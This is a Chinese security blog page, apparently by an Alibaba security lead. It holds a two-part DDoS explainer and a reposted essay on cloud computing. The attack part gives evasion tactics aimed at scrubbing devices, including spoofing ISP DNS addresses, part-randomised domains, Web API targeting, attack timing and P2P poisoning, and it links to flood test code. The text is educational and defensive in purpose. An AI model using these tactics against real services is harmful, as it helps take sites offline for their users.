阿里巴巴集团安全研究实验室

从2009年阿里云成立到现在的5年时间里,我一直在做云计算安全的事情。目前来看,这块终于差不多了。也许我还会有10%的时间留在云安全上面,但是最主要的精力是负责新成立的安全研究实验室。

我们实验室主要做4方面的事情:APT等高级威胁研究;智能设备安全研究;漏洞挖掘、分析,渗透测试,情报分析;人机识别,交易风险控制;

希望等到我离开阿里的时候,介绍写的是 阿里巴巴集团安全研究院 前负责人。

发表在 琐记 | 4条评论

一个巧妙的sshd后门

@沈沉舟 发了一个很有意思的sshd后门,原文见http://www.jakoblell.com/blog/2014/05/07/hacking-contest-ssh-server-wrapper/,看了之后,觉得精巧得淫贱。 继续阅读

发表在 技术 | 4条评论

DDoS攻防补遗

去年在《凌云》杂志上写过一篇关于DDoS攻防的文章,在线版本可以到官方网站http://storage.aliyun.com/aliyun_portal_storage/lingyun/lingyun-journal-2.pdf查看。当时因为篇幅的原因有些细节没有展开,加上时间过去了大半年,出现了许多新的流行的攻击方式,所以决定写一篇补遗。

继续阅读

发表在 技术 | 3条评论

深入浅出DDoS攻击防御——防御篇

忘记是2012年还是哪一年为凌云杂志第一期写的稿子,一共两篇,现在贴到博客来。2014年初,受邀又为阿里云博客写了一个补遗,一起放上。

1.   防御基础

1.1. 攻击流量到底多大

谈到DDoS防御,首先就是要知道到底遭受了多大的攻击。这个问题看似简单,实际上却有很多不为人知的细节在里面。

 

以SYN Flood为例,为了提高发送效率在服务端产生更多的SYN等待队列,攻击程序在填充包头时,IP首部和TCP首部都不填充可选的字段,因此IP首部长度恰好是20字节,TCP首部也是20字节,共40字节。

 

对于以太网来说,最小的包长度数据段必须达到46字节,而攻击报文只有40字节,因此,网卡在发送时,会做一些处理,在TCP首部的末尾,填充6个0来满足最小包的长度要求。这个时候,整个数据包的长度为14字节的以太网头,20字节的IP头,20字节的TCP头,再加上因为最小包长度要求而填充的6个字节的0,一共是60字节。

 

但这还没有结束。以太网在传输数据时,还有CRC检验的要求。网卡会在发送数据之前对数据包进行CRC检验,将4字节的CRC值附加到包头的最后面。这个时候,数据包长度已不再是40字节,而是变成64字节了,这就是常说的SYN小包攻击,数据包结构如下:

|14字节以太网头部|20字节IP头部|20字节TCP|6字节填充|4字节检验|

|目的MAC|源MAC|协议类型| IP头 |TCP头|以太网填充 | CRC检验 |

到64字节时,SYN数据包已经填充完成,准备开始传输了。攻击数据包很小,远远不够最大传输单元(MTU)的1500字节,因此不会被分片。那么这些数据包就像生产流水线上的罐头一样,一个包连着一个包紧密地挤在一起传输吗?事实上不是这样的。

 

以太网在传输时,还有前导码(preamble)和帧间距(inter-frame gap)。其中前导码占8字节(byte),即64比特位。前导码前面的7字节都是10101010,1和0间隔而成。但第八个字节就变成了10101011,当主机监测到连续的两个1时,就知道后面开始是数据了。在网络传输时,数据的结构如下:

|8字节前导码|6字节目的MAC地址|6字节源MAC地址|2字节上层协议类型|20字节IP头|20字节TCP头|6字节以太网填充|4字节CRC检验|12字节帧间距|

也就是说,一个本来只有40字节的SYN包,在网络上传输时占的带宽,其实是84字节。

 

有了上面的基础,现在可以开始计算攻击流量和网络设备的线速问题了。当只填充IP头和TCP头的最小SYN包跑在以太网络上时,100Mbit的网络,能支持的最大PPS(Packet Per Second)是100×106 / (8 * (64+8+12)) = 148809,1000Mbit的网络,能支持的最大PPS是1488090。

 

1.2. SYN Flood防御

前文描述过,SYN Flood攻击大量消耗服务器的CPU、内存资源,并占满SYN等待队列。相应的,我们修改内核参数即可有效缓解。主要参数如下:

net.ipv4.tcp_syncookies = 1

net.ipv4.tcp_max_syn_backlog = 8192

net.ipv4.tcp_synack_retries = 2

分别为启用SYN Cookie、设置SYN最大队列长度以及设置SYN+ACK最大重试次数。

 

SYN Cookie的作用是缓解服务器资源压力。启用之前,服务器在接到SYN数据包后,立即分配存储空间,并随机化一个数字作为SYN号发送SYN+ACK数据包。然后保存连接的状态信息等待客户端确认。启用SYN Cookie之后,服务器不再分配存储空间,而且通过基于时间种子的随机数算法设置一个SYN号,替代完全随机的SYN号。发送完SYN+ACK确认报文之后,清空资源不保存任何状态信息。直到服务器接到客户端的最终ACK包,通过Cookie检验算法鉴定是否与发出去的SYN+ACK报文序列号匹配,匹配则通过完成握手,失败则丢弃。当然,前文的高级攻击中有SYN混合ACK的攻击方法,则是对此种防御方法的反击,其中优劣由双方的硬件配置决定

 

tcp_max_syn_backlog则是使用服务器的内存资源,换取更大的等待队列长度,让攻击数据包不至于占满所有连接而导致正常用户无法完成握手。net.ipv4.tcp_synack_retries是降低服务器SYN+ACK报文重试次数,尽快释放等待资源。这三种措施与攻击的三种危害一一对应,完完全全地对症下药。但这些措施也是双刃剑,可能消耗服务器更多的内存资源,甚至影响正常用户建立TCP连接,需要评估服务器硬件资源和攻击大小谨慎设置。

 

除了定制TCP/IP协议栈之外,还有一种常见做法是TCP首包丢弃方案,利用TCP协议的重传机制识别正常用户和攻击报文。当防御设备接到一个IP地址的SYN报文后,简单比对该IP是否存在于白名单中,存在则转发到后端。如不存在于白名单中,检查是否是该IP在一定时间段内的首次SYN报文,不是则检查是否重传报文,是重传则转发并加入白名单,不是则丢弃并加入黑名单。是首次SYN报文则丢弃并等待一段时间以试图接受该IP的SYN重传报文,等待超时则判定为攻击报文加入黑名单。

 

首包丢弃方案对用户体验会略有影响,因为丢弃首包重传会增大业务的响应时间,有鉴于此发展出了一种更优的TCP Proxy方案。所有的SYN数据报文由清洗设备接受,按照SYN Cookie方案处理。和设备成功建立了TCP三次握手的IP地址被判定为合法用户加入白名单,由设备伪装真实客户端IP地址再与真实服务器完成三次握手,随后转发数据。而指定时间内没有和设备完成三次握手的IP地址,被判定为恶意IP地址屏蔽一定时间。除了SYN Cookie结合TCP Proxy外,清洗设备还具备多种畸形TCP标志位数据包探测的能力,通过对SYN报文返回非预期应答测试客户端反应的方式来鉴别正常访问和恶意行为。

 

清洗设备的硬件具有特殊的网络处理器芯片和特别优化的操作系统、TCP/IP协议栈,可以处理非常巨大的流量和SYN队列。

1.3. HTTP Flood防御

HTTP Flood攻击防御主要通过缓存的方式进行,尽量由设备的缓存直接返回结果来保护后端业务。大型的互联网企业,会有庞大的CDN节点缓存内容。

 

当高级攻击者穿透缓存时,清洗设备会截获HTTP请求做特殊处理。最简单的方法就是对源IP的HTTP请求频率做统计,高于一定频率的IP地址加入黑名单。这种方法过于简单,容易带来误杀,并且无法屏蔽来自代理服务器的攻击,因此逐渐废止,取而代之的是JavaScript跳转人机识别方案。

 

HTTP Flood是由程序模拟HTTP请求,一般来说不会解析服务端返回数据,更不会解析JS之类代码。因此当清洗设备截获到HTTP请求时,返回一段特殊JavaScript代码,正常用户的浏览器会处理并正常跳转不影响使用,而攻击程序会攻击到空处。

1.4. DNS Flood防御

DNS攻击防御也有类似HTTP的防御手段,第一方案是缓存。其次是重发,可以是直接丢弃DNS报文导致UDP层面的请求重发,可以是返回特殊响应强制要求客户端使用TCP协议重发DNS查询请求。

 

特殊的,对于授权域DNS的保护,设备会在业务正常时期提取收到的DNS域名列表和ISP DNS IP列表备用,在攻击时,非此列表的请求一律丢弃,大幅降低性能压力。对于域名,实行同样的域名白名单机制,非白名单中的域名解析请求,做丢弃处理。

 

1.5. 慢速连接攻击防御

Slowloris攻击防御比较简单,主要方案有两个。

第一个是统计每个TCP连接的时长并计算单位时间内通过的报文数量即可做精确识别。一个TCP连接中,HTTP报文太少和报文太多都是不正常的,过少可能是慢速连接攻击,过多可能是使用HTTP 1.1协议进行的HTTP Flood攻击,在一个TCP连接中发送多个HTTP请求。

 

第二个是限制HTTP头部传输的最大许可时间。超过指定时间HTTP Header还没有传输完成,直接判定源IP地址为慢速连接攻击,中断连接并加入黑名单。

2.   企业级防御

互联网企业防御DDoS攻击,主要还是使用上文的基础防御手段, 重点在于使用监控、组织以及流程等东西来保障及时、正确的使用这些手段,并根据攻击策略的改变而改变。

2.1. 异常监控

监控需要具备多层监控、纵深防御的概念,从骨干网络、IDC入口网络的BPS、PPS、协议分布,负载均衡层的VIP新建连接数、并发连接数、BPS、PPS到主机层的CPU状态、TCP新建连接数状态、TCP并发连接数状态,到业务层的业务处理量、业务连通性等多个点部署监控系统。即使一个监控点失效,其他监控点也能够及时给出报警信息。多个点的信息结合起来,有助于准确的判断攻击目标和攻击手法。

2.2. 流程以及预案、演习

一旦发现异常,立即启动在虚拟防御组织中的应急流程。防御组织需要囊括到足够全面的人员,至少包含监控部门、运维部门、网络部门、安全部门、客服部门、业务部门等,所有人员都需要2-3个备份。流程启动后,除了人工处理,还应该包含一定的自动处理、半自动处理能力。例如自动化的攻击分析,确定攻击类型,自动化、半自动化的防御策略,在安全人员到位之前,最先发现攻击的部门可以做一些缓解措施。

 

除了DDoS到来之时的流程等工作之外,更多的工作是在攻击到来之前。主要包含CDN节点部署、DNS设置、流程演习等。对于企业来说,具备多个CDN节点是DDoS防御容量的关键指标。当一个机房承担不住海量数据时,可以通过DNS轮询的方式,把流量引导到多个分布节点,使用防御设备分头处理。因此DNS的TTL值需要设置得足够小,能够快速切换,每个CDN节点的各种VIP设置也需要准备充分。

3.   总结

在虚拟化时代,海量用户的不同业务共处在相同的物理机平台,遭受DDoS攻击的可能性越来越高。而且一个用户被攻击可能牵扯到大量的其他用户,危害被显著放大,因此防御显得尤为重要。阿里云的虚拟化云计算业务,平均每天遭受约200起DDoS攻击,最大流量达到接近80Gbit/s,所有这些攻击都在1分钟内自动处理完成,让客户远离DDoS的威胁,专心发展业务。

 

总地来说,对DDoS防御,主要的工作是幕后积累。台上十分钟,台下十年功,没有充分的资源准备,没有足够的应急演练,没有丰富的处理经验,DDoS攻击将是所有人的噩梦。

发表在 技术 | 5条评论

深入浅出DDoS攻击防御——攻击篇

忘记是2012年还是哪一年为凌云杂志第一期写的稿子,一共两篇,现在贴到博客来。2014年初,受邀又为阿里云博客写了一个补遗,一起放上。

1.   DDoS攻击基础

DDoS(Distributed Denial of Service,分布式拒绝服务)攻击的主要目的是让指定目标无法提供正常服务,甚至从互联网上消失,是目前最强大、最难防御的攻击之一。

 

按照发起的方式,DDoS可以简单分为三类。

 

第一类以力取胜,海量数据包从互联网的各个角落蜂拥而来,堵塞IDC入口,让各种强大的硬件防御系统、快速高效的应急流程无用武之地。这种类型的攻击典型代表是ICMP Flood和UDP Flood,现在已不常见。

 

第二类以巧取胜,灵动而难以察觉,每隔几分钟发一个包甚至只需要一个包,就可以让豪华配置的服务器不再响应。这类攻击主要是利用协议或者软件的漏洞发起,例如Slowloris攻击、Hash冲突攻击等,需要特定环境机缘巧合下才能出现。

 

第三类是上述两种的混合,轻灵浑厚兼而有之,既利用了协议、系统的缺陷,又具备了海量的流量,例如SYN Flood攻击、DNS Query Flood攻击,是当前的主流攻击方式。

 

本文将一一描述这些最常见、最具代表性攻击方式,并介绍它们的防御方案。

1.1. SYN Flood

SYN Flood是互联网上最经典的DDoS攻击方式之一,最早出现于1999年左右,雅虎是当时最著名的受害者。SYN Flood攻击利用了TCP三次握手的缺陷,能够以较小代价使目标服务器无法响应,且难以追查。

 

标准的TCP三次握手过程如下:

 

l  客户端发送一个包含SYN标志的TCP报文,SYN即同步(Synchronize),同步报文会指明客户端使用的端口以及TCP连接的初始序号;

l  服务器在收到客户端的SYN报文后,将返回一个SYN+ACK(即确认Acknowledgement)的报文,表示客户端的请求被接受,同时TCP初始序号自动加1;

l  客户端也返回一个确认报文ACK给服务器端,同样TCP序列号被加1。

 

经过这三步,TCP连接就建立完成。TCP协议为了实现可靠传输,在三次握手的过程中设置了一些异常处理机制。第三步中如果服务器没有收到客户端的最终ACK确认报文,会一直处于SYN_RECV状态,将客户端IP加入等待列表,并重发第二步的SYN+ACK报文。重发一般进行3-5次,大约间隔30秒左右轮询一次等待列表重试所有客户端。另一方面,服务器在自己发出了SYN+ACK报文后,会预分配资源为即将建立的TCP连接储存信息做准备,这个资源在等待重试期间一直保留。更为重要的是,服务器资源有限,可以维护的SYN_RECV状态超过极限后就不再接受新的SYN报文,也就是拒绝新的TCP连接建立。

 

SYN Flood正是利用了上文中TCP协议的设定,达到攻击的目的。攻击者伪装大量的IP地址给服务器发送SYN报文,由于伪造的IP地址几乎不可能存在,也就几乎没有设备会给服务器返回任何应答了。因此,服务器将会维持一个庞大的等待列表,不停地重试发送SYN+ACK报文,同时占用着大量的资源无法释放。更为关键的是,被攻击服务器的SYN_RECV队列被恶意的数据包占满,不再接受新的SYN请求,合法用户无法完成三次握手建立起TCP连接。也就是说,这个服务器被SYN Flood拒绝服务了。

 

对SYN Flood有兴趣的可以看看http://www.icylife.net/yunshu/show.php?id=367,这是我2006年写的代码,后来做过几次修改,修改了Bug,并降低了攻击性,纯做测试使用。

1.2. DNS Query Flood

作为互联网最基础、最核心的服务,DNS自然也是DDoS攻击的重要目标之一。打垮DNS服务能够间接打垮一家公司的全部业务,或者打垮一个地区的网络服务。前些时候风头正盛的黑客组织anonymous也曾经宣布要攻击全球互联网的13台根DNS服务器,不过最终没有得手。

 

UDP攻击是最容易发起海量流量的攻击手段,而且源IP随机伪造难以追查。但过滤比较容易,因为大多数IP并不提供UDP服务,直接丢弃UDP流量即可。所以现在纯粹的UDP流量攻击比较少见了,取而代之的是UDP协议承载的DNS Query Flood攻击。简单地说,越上层协议上发动的DDoS攻击越难以防御,因为协议越上层,与业务关联越大,防御系统面临的情况越复杂。

 

DNS Query Flood就是攻击者操纵大量傀儡机器,对目标发起海量的域名查询请求。为了防止基于ACL的过滤,必须提高数据包的随机性。常用的做法是UDP层随机伪造源IP地址、随机伪造源端口等参数。在DNS协议层,随机伪造查询ID以及待解析域名。随机伪造待解析域名除了防止过滤外,还可以降低命中DNS缓存的可能性,尽可能多地消耗DNS服务器的CPU资源。

 

关于DNS Query Flood的代码,我在2011年7月为了测试服务器性能曾经写过一份代码,链接是http://www.icylife.net/yunshu/show.php?id=832。同样的,这份代码人为降低了攻击性,只做测试用途。

 

1.3. HTTP Flood

上文描述的SYN Flood、DNS Query Flood在现阶段已经能做到有效防御了,真正令各大厂商以及互联网企业头疼的是HTTP Flood攻击。HTTP Flood是针对Web服务在第七层协议发起的攻击。它的巨大危害性主要表现在三个方面:发起方便、过滤困难、影响深远。

 

SYN Flood和DNS Query Flood都需要攻击者以root权限控制大批量的傀儡机。收集大量root权限的傀儡机很花费时间和精力,而且在攻击过程中傀儡机会由于流量异常被管理员发现,攻击者的资源快速损耗而补充缓慢,导致攻击强度明显降低而且不可长期持续。HTTP Flood攻击则不同,攻击者并不需要控制大批的傀儡机,取而代之的是通过端口扫描程序在互联网上寻找匿名的HTTP代理或者SOCKS代理,攻击者通过匿名代理对攻击目标发起HTTP请求。匿名代理是一种比较丰富的资源,花几天时间获取代理并不是难事,因此攻击容易发起而且可以长期高强度的持续。

 

另一方面,HTTP Flood攻击在HTTP层发起,极力模仿正常用户的网页请求行为,与网站业务紧密相关,安全厂商很难提供一套通用的且不影响用户体验的方案。在一个地方工作得很好的规则,换一个场景可能带来大量的误杀。

 

最后,HTTP Flood攻击会引起严重的连锁反应,不仅仅是直接导致被攻击的Web前端响应缓慢,还间接攻击到后端的Java等业务层逻辑以及更后端的数据库服务,增大它们的压力,甚至对日志存储服务器都带来影响。

 

有意思的是,HTTP Flood还有个颇有历史渊源的昵称叫做CC攻击。CC是Challenge Collapsar的缩写,而Collapsar是国内一家著名安全公司的DDoS防御设备。从目前的情况来看,不仅仅是Collapsar,所有的硬件防御设备都还在被挑战着,风险并未解除。

1.4. 慢速连接攻击

提起攻击,第一反应就是海量的流量、海量的报文。但有一种攻击却反其道而行之,以慢著称,以至于有些攻击目标被打死了都不知道是怎么死的,这就是慢速连接攻击,最具代表性的是rsnake发明的Slowloris。

 

HTTP协议规定,HTTP Request以\r\n\r\n结尾表示客户端发送结束,服务端开始处理。那么,如果永远不发送\r\n\r\n会如何?Slowloris就是利用这一点来做DDoS攻击的。攻击者在HTTP请求头中将Connection设置为Keep-Alive,要求Web Server保持TCP连接不要断开,随后缓慢地每隔几分钟发送一个key-value格式的数据到服务端,如a:b\r\n,导致服务端认为HTTP头部没有接收完成而一直等待。如果攻击者使用多线程或者傀儡机来做同样的操作,服务器的Web容器很快就被攻击者占满了TCP连接而不再接受新的请求。

 

很快的,Slowloris开始出现各种变种。比如POST方法向Web Server提交数据、填充一大大Content-Length但缓慢的一个字节一个字节的POST真正数据内容等等。关于Slowloris攻击,rsnake也给出了一个测试代码,参见http://ha.ckers.org/slowloris/slowloris.pl。

2.   DDoS攻击进阶

2.1. 混合攻击

以上介绍了几种基础的攻击手段,其中任意一种都可以用来攻击网络,甚至击垮阿里、百度、腾讯这种巨型网站。但这些并不是全部,不同层次的攻击者能够发起完全不同的DDoS攻击,运用之妙,存乎一心。

 

高级攻击者从来不会使用单一的手段进行攻击,而是根据目标环境灵活组合。普通的SYN Flood容易被流量清洗设备通过反向探测、SYN Cookie等技术手段过滤掉,但如果在SYN Flood中混入SYN+ACK数据包,使每一个伪造的SYN数据包都有一个与之对应的伪造的客户端确认报文,这里的对应是指源IP地址、源端口、目的IP、目的端口、TCP窗口大小、TTL等都符合同一个主机同一个TCP Flow的特征,流量清洗设备的反向探测和SYN Cookie性能压力将会显著增大。其实SYN数据报文配合其他各种标志位,都有特殊的攻击效果,这里不一一介绍。对DNS Query Flood而言,也有独特的技巧。

 

首先,DNS可以分为普通DNS和授权域DNS,攻击普通DNS,IP地址需要随机伪造,并且指明服务器要求做递归解析;但攻击授权域DNS,伪造的源IP地址则不应该是纯随机的,而应该是事先收集的全球各地ISP的DNS地址,这样才能达到最大攻击效果,使流量清洗设备处于添加IP黑名单还是不添加IP黑名单的尴尬处境。添加会导致大量误杀,不添加黑名单则每个报文都需要反向探测从而加大性能压力。

 

另一方面,前面提到,为了加大清洗设备的压力不命中缓存而需要随机化请求的域名,但需要注意的是,待解析域名必须在伪造中带有一定的规律性,比如说只伪造域名的某一部分而固化一部分,用来突破清洗设备设置的白名单。道理很简单,腾讯的服务器可以只解析腾讯的域名,完全随机的域名可能会直接被丢弃,需要固化。但如果完全固定,也很容易直接被丢弃,因此又需要伪造一部分。

 

其次,对DNS的攻击不应该只着重于UDP端口,根据DNS协议,TCP端口也是标准服务。在攻击时,可以UDP和TCP攻击同时进行。

 

HTTP Flood的着重点,在于突破前端的cache,通过HTTP头中的字段设置直接到达Web Server本身。另外,HTTP Flood对目标的选取也非常关键,一般的攻击者会选择搜索之类需要做大量数据查询的页面作为攻击目标,这是非常正确的,可以消耗服务器尽可能多的资源。但这种攻击容易被清洗设备通过人机识别的方式识别出来,那么如何解决这个问题?很简单,尽量选择正常用户也通过APP访问的页面,一般来说就是各种Web API。正常用户和恶意流量都是来源于APP,人机差别很小,基本融为一体难以区分。

 

之类的慢速攻击,是通过巧妙的手段占住连接不释放达到攻击的目的,但这也是双刃剑,每一个TCP连接既存在于服务端也存在于自身,自身也需要消耗资源维持TCP状态,因此连接不能保持太多。如果可以解决这一点,攻击性会得到极大增强,也就是说Slowloris可以通过stateless的方式发动攻击,在客户端通过嗅探捕获TCP的序列号和确认维护TCP连接,系统内核无需关注TCP的各种状态变迁,一台笔记本即可产生多达65535个TCP连接。

 

前面描述的,都是技术层面的攻击增强。在人的方面,还可以有一些别的手段。如果SYN Flood发出大量数据包正面强攻,再辅之以Slowloris慢速连接,多少人能够发现其中的秘密?即使服务器宕机了也许还只发现了SYN攻击想去加强TCP层清洗而忽视了应用层的行为。种种攻击都可以互相配合,达到最大的效果。攻击时间的选择,也是一大关键,比如说选择维护人员吃午饭时、维护人员下班堵在路上或者在地铁里无线上网卡都没有信号时、目标企业在举行大规模活动流量飙升时等。

 

这里描述的只是纯粹的攻击行为,因此不提供代码,也不做深入介绍。

1.1. 来自P2P网络的攻击

前面的攻击方式,多多少少都需要一些傀儡机,即使是HTTP Flood也需要搜索大量的匿名代理。如果有一种攻击,只需要发出一些指令,就有机器自动上来执行,才是完美的方案。这种攻击已经出现了,那就是来自P2P网络的攻击。

 

大家都知道,互联网上的P2P用户和流量都是一个极为庞大的数字。如果他们都去一个指定的地方下载数据,使成千上万的真实IP地址连接过来,没有哪个设备能够支撑住。拿BT下载来说,伪造一些热门视频的种子,发布到搜索引擎,就足以骗到许多用户和流量了,但这只是基础攻击。

 

高级P2P攻击,是直接欺骗资源管理服务器。如迅雷客户端会把自己发现的资源上传到资源管理服务器,然后推送给其他需要下载相同资源的用户,这样,一个链接就发布出去。通过协议逆向,攻击者伪造出大批量的热门资源信息通过资源管理中心分发出去,瞬间就可以传遍整个P2P网络。更为恐怖的是,这种攻击是无法停止的,即使是攻击者自身也无法停止,攻击一直持续到P2P官方发现问题更新服务器且下载用户重启下载软件时为止。

3.   总结

限于篇幅,DDoS攻击的介绍就写这么多,而且我也不愿意对这个做更进一步的阐述了——理解防御这么多已经够用了。总的来说,DDoS攻击可以很灵巧,可以很优美。运用之妙,存乎一心。

发表在 技术 | 留下评论

又是关于王博士

今天在内网看到有人说一篇文章,跑过去看了看,觉得很有意思。http://www.qyjohn.net/?p=3436,作者关于云计算的看法很赞。

从王博士说起

By , December 25, 2013 9:58 pm

不知道为啥,最近几天频繁看到关于王博士的文章,便有了一些从王博士说起的思绪。认真说来,我与王博士不算熟悉,将来也不会有深入交流的机会。因此,这篇文章与其说是谈王博士,不如说是以王博士为引子谈一谈云计算。

如果Google没有搞错的话,王博士是2008年加盟阿里的。在这之前,我对阿里的唯一印象,却是下面的这一桩小事。

2007年5 月,阿里在杭州举办首届中国网络工程师侠客行大会。一位名为Andy的技术负责人与Sun 公司ISV部门联系,请Sun 公司推荐一位Java领域的讲师。当时我在Sun 公司负责中国地区的开发者社区工作,这个任务几经辗转就落到了我的头上。阿里方面的本意,大概是希望邀请到James Gosling前来参会,但是James Gosling在那个时间段已经有了别的安排。在公司的牛棚里头转了一圈之后,我向阿里推荐了Java EE团队的杰出工程师(Distinguished Engineer)Mark Hapner,阿里方面欣然接受。但是Mark Hapner任职于没有差旅预算的研发团队,因此我向Andy的秘书询问阿里方面是否可以解决Mark Hapner的往返机票和酒店费用。Andy的秘书回答说阿里方面可以安排酒店,但是机票需要Sun 公司先买,然后再向阿里报销。由于不需要Sun 公司支付差旅费用,Mark Hapner就自己刷信用卡买了机票,从三藩飞到杭州做了个讲座,第二天又飞回三藩上班。问题是我向Andy的秘书提起报销Mark Hapner的机票费用时,小姑娘改口说是国际机票太贵只能为演讲者报销一半,剩下的一半需要演讲者自理,以前往返邮件里面的白纸黑字做不得数了。又经过几轮邮件沟通,干脆就再也不回邮件,连说过的一半也没了下文。到了年底,我实在不好意思欠同事的人情,就自掏腰包通过PayPal把机票钱还给了Mark Hapner。

之所以提起这一陈年旧事,只是想帮助各位客官了解一个事实。如今阿里的技术团队声名远扬如日中天,但是在王博士加盟阿里之前,阿里并不是一个尊重技术人才的公司。也正因为如此,没有学过心理学的其他大牛(譬如传说中的陆奇)在阿里根本没有可能谈到预期的薪水。王博士加盟阿里之后,在提高工程师地位和待遇方面做了很多工作。用吴翰清的一句话说,“王博士是唯一一个能把技术讲得连马云都能听懂的人”。平心而论,在提高工程师地位和待遇这个事情上,很多技术VP都做了大量工作。不过,如果不是王博士能够把技术讲得连马云都能听懂,今天的阿里对技术人员的吸引力可能就会大打折扣。所以我建议阿里内部的工程师在批评王博士的时候,可以尝试着用一下“虽然…但是…”这个句式。

据说王博士是打着云计算的旗号混进阿里的。在那个时间点上,“云计算”这个词还没有现在这般炙手可热,并且通常用来指代类似于网格(使用N 台物理机虚拟出一个具有超级计算或者存储能力的系统,用户通过命令行或者Web界面向系统提交计算或者存储任务)而不是类似于AWS(在单台物理机上虚拟出N 台物理机,用户通过命令行、API、或者Web界面获得虚拟机资源)的系统。那时候AWS发布才两年时间,在国内并没有引起很大的反响。国内互联网公司的系统团队更关心的是类似于vCenter的数据中心虚拟化,而不是类似于AWS的自助服务模式(关于数据中心虚拟化和自助服务模式的区别,可以参考我在2012年10月写的一篇博客《虚拟化、云计算、开放源代码及其他》)。在国外,第一个提供类似AWS功能的软件是闭源的Enomaly(2009年7 月),然后是开源的Eucalyptus(2009年11月)。2010年上半年,王博士已经开始试图在阿里内部推广(并且遭到了顽强的抵抗)自己轮出来的后羿(也就是阿里云的前身)了。考虑到产品设计和研发的周期,可以推测出王博士启动后羿项目的时机应该与Enomaly和Eucalyptus差不了多少。那时CloudStack和OpenNebula都还是单纯的数据中心虚拟化管理软件,而现在大名鼎鼎的OpenStack(起始于2010年7 月)还没有生出来。单从这一点来看,王博士不仅不是在重复发明轮子,而是极具远见和魄力了。

我所理解的远见,或者说是方向感,大概就是模模糊糊地看到未来的一个缩影,但是并不清楚要达到那个境界需要经过哪些步骤。我们通常把在企业里面的人分为两类,一类是战略型(或者说务虚型)的,另外一类是战术型(或者说务实型)的。这两类人的共同特征是互相看不起,战略型的人认为战术型的人没见识,战术型的人觉得战略型的人瞎扯淡。对于中小型公司来说,战略型的人太多通常意味着一场灾难。对于大型公司来说,战略型的人则是一把双刃剑 - 他有可能把公司给带到沟里,也有可能让公司实现第二次腾飞。王博士应该是一种典型的战略型人才,他早早地看到了云计算在未来的重要性,并且预见到要把远景变成现实道阻且长。吴翰清在博客里说:“我最佩服王博士的是无论他被外面的人、下面的人、其他BU的老大们骂的有多惨,鄙视的有多厉害,他总能不露声色,该做什么就做什么,和我们聊天时还能跟没事的人一样。”这样的人,才真真是能够做大事的人。

但是光靠王博士一个战略型人才绝对是做不成云计算的。王博士开始疯狂地在阿里内部挖人,一直挖到兄弟部门怨声载道,然后又“不设上限”地从外头招人。我同意王博士一开始不应该招那么多微软的人这样的看法,因为微软已经是一家美人迟暮型公司,培养出来的人大都是战略型人才,和王博士是同一类型但是水平又远远没有王博士那么高。从Google挖人的愿景很美好但是可行性较低,因为当时市场的薪资水平是微软小于阿里小于Google,并且进得去Google的人看得起土豪的也不多。(插播一下广告:章文嵩在2009年9 月加盟淘宝,只能够说是阿里捡到宝了。)在这样的背景下,王博士早期的团队缺乏高端的战术型人才,走一些弯路也在所难免。但是到了今年,王博士早期的一些努力开始取得了初步的效果。其中一例,是去IOE的巨大成功;另外一例,则是聚石塔在今年的双11中大显身手。这两个例子,其实都可以归结为云计算理念的成功。王博士从今年9 月起不再担任阿里云总裁一职,未来专注于CTO一职。不过,如果现在就试图去评价王博士对阿里云所起的作用的话,我个人觉得还是为时过早了。

目前我们所说的云计算,基本上就是以虚拟机的形式提供计算资源,谁需要计算资源的时候就买一个,不再需要的时候就把它杀掉。按需获取,按量计费,节能减排,自主可控,安全高效,这些词语市场和销售人员都背的滚瓜烂熟,熟得让人不敢相信这有可能是真的。但是我不仅认为这些口号都是真的,并且相信云计算的未来远远不止于此。我在《虚拟化、云计算、开放源代码及其他》这篇博客里面提到了英国经济学家威廉杰文斯(Willian Jevons,1835-1882)在《煤矿问题》(The Coal Question)一书中指出的一个似乎自相矛盾的现象:蒸汽机效率方面的进步提高了煤的能源转换率,能源转换率的提高导致了能源价格降低,能源价格的降低又进一步导致了煤消费量的增加。这种现象称为杰文斯悖论,其核心思想是资源利用率的提高导致价格降低,最终会增加资源的使用量。在过去150年当中,杰文斯悖论在主要的工业原料、交通、能源、食品工业等多个领域都得到了实证。我在这篇博客里面又进一步断言:“公共云计算服务的核心价值,是将服务器、存储、网络等等硬件设备从自行采购的固定资产变成了按量计费的公共资源。虚拟化技术提高了计算资源的利用率,导致了计算资源价格的降低,最终会增加计算资源的使用量。”。

如果说云计算使得用户可以象用电用水一样使用计算资源,那么最终会达到什么效果呢?看一看我们平时用电用水的情况,哪些属于刚性(必不可少的)需求,哪些属于柔性(可有可无的)需求。很快你就会发现我们大部分的消费,其实应该归类到柔性需求里面去。我们在房间里装个漂亮的壁灯,不见得是因为没有它就看不见路,而是因为点亮了之后我们变得心情愉快了。我们到游泳池去游泳,不见的是因为家里实在没有地方洗澡。但是,你看看我们现在的云计算用户。他们之所以使用云计算,是因为他们必须使用计算资源去做一些他们认为很重要的事情,他们不是仅仅想要高兴一下就刷卡去买你的云主机。要想让云计算象用电用水一样,至少需要两个前提条件:一是简单,二是便宜。 我想在书桌上加一盏台灯,不需要单独跑到供电公司去签一个合同。我在你这里买一个虚拟机,为什么需要我单独下一个订单呢?我买的台灯想什么时候拆掉就什么时候拆掉,我买的虚拟机你为什么要按天、按星期、甚至是按月计费呢?很多做IDC出身的人会跟你扯什么合同,什么协议,什么ITIL,什么ETOM,你们家换个灯泡还要先跑去供电公司签个合同吗?

所以说,云计算是一场革命。这场革命既是服务提供商的,也是云资源用户的。对于服务提供商来讲,云计算不仅仅是将物理机换成虚拟机,更重要的是提供服务的方式和对服务计费的方式。对于云资源用户来说,要理解虚拟机已经不是传统意义上的服务器,并且学会如何去使用这一新形式的计算资源。想象一下这个场景吧:某个物理系的学生想要验证一下关于宇宙起源的一个新想法,他随手登录进入某某云创建了1000台虚拟机,用了半个小时之后又随手杀掉所有的虚拟机。等什么时候人们不仅仅是因为刚性需求 - 而是因为柔性需求 - 而使用云计算的时候,云计算才能说是真的取得了成功。

所以我说,云计算是一个刚刚显现的蓝海。现在国内各家做公有云的公司杀得你死我活,看起来似乎已经是一片血海。在我看来,这些不过都是假象。现在如果阿里不往这个方向去努力,那才是真的错过了时机。

另:本来还想再写一些关于阿里云的具体的意见,但是考虑到这篇博客本来就是务虚,如果硬要加入一些务实的内容的话,反而不美。

又另:写这篇博客,绝没有在阿里谋求任何职位的意愿。作为一个半路出家的程序员,我深感自己在CS领域的先天不足已经阻碍了我在这个领域的继续发展。因此,过完年之后我就要暂时离开中国,到悉尼大学攻读第二个硕士学位,为期两年。我在悉尼大学的导师是IEEE Fellow Albert Zomaya教授,我的研究内容包括开源社区、云计算经济、云服务可靠度等等内容。

发表在 技术 | 3条评论

